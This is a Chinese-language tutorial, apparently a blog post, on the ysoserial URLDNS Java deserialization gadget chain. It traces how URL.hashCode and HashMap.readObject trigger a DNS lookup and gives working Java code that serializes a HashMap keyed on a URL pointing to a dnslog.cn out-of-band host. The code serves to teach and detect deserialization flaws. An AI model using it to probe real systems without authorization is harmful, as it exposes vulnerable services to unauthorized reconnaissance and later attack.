java反序列化之URLDNS
0 条评论java反序列化
java反序列化其实是一个正常的功能,通过序列化将一个对象转化成一串字符,再通过反序列化将字符转化成对象。这样看看java的序列化与反序列化有利于对象的存储与传输。但是在反序列化过程中会调用其readObject方法,如果在readObject的过程中执行了危险方法,便造成了漏洞。
URLDNS
URLDNS是用来探测某个地方是否存在反序列化的最常用的方式,因为其依赖的包都是java中自带的,不受环境影响。
画了一个反序列化的demo
如果我们反序列的对象中某个参数可控,再其readObject中调用了这个参数的方法,我们便可以控制这个参数为含危险方法的对象,在反序列化中调用同名方法,从而造成漏洞。
所以构造反序列化链分为两步,第一步找到危险方法,第二步找到一个对象的readObject中调用了这个方法且对象可控。
所以我们先看看URLDNS的第一处,触发危险方法
其对象是 java.net.URL
其hashCode方法如下:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
如果hashCode 不等于 -1 就返回
否则调用hashCode的hashCode
handler 是一个URLStreamHandler抽象类对象
跟进hashCode看看
调用了getHostAddress方法,这里便是发起DNS请求的地方。
我们编写脚本如下:
package ysoserial.serialStudy;
import ysoserial.payloads.util.Reflections;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
public class urldns {
public static void main(String[] args) throws Exception {
String url = "http://iz850g.dnslog.cn";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null, url, handler);
u.hashCode();
}
static class TestURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
}
}
运行,成功发起了DNS请求。
第二步 找到reabOject中调用hashCode的对象
ysoserial 找到的是HashMap,
我们先写一个demo来试试
package ysoserial.serialStudy;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
HashMap ht = new HashMap();
ht.put("123","dd");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ht);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
在HashMap的readObject方法处加上断点,
由于haspmap不为空,所以进入了第三个条件中
然后调用了hash(key)方法,
跟进看看
发现调用了key的hashCode方法,这里的key是一个object对象,如果我们令key为上面分析的URL对象,调用其hashcode方法则造成了一次dns请求。这里有个坑点,
HashMap的put方法就已经调用了一次hashcode方法,而且调用之后hashCode值便不为-1了,
所以我们要在put之后再调用反射将hashCode修改为-1
代码如下“
package ysoserial.serialStudy;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
String url = "http://iz850g.dnslog.cn";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null, url, handler);
// u.hashCode()
Reflections.setFieldValue(u, "hashCode", 1);//防止两次发起dns请求
HashMap ht = new HashMap();
ht.put(u,"dd");
Reflections.setFieldValue(u, "hashCode", -1);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ht);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
static class TestURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
}
}
运行下
成功发起请求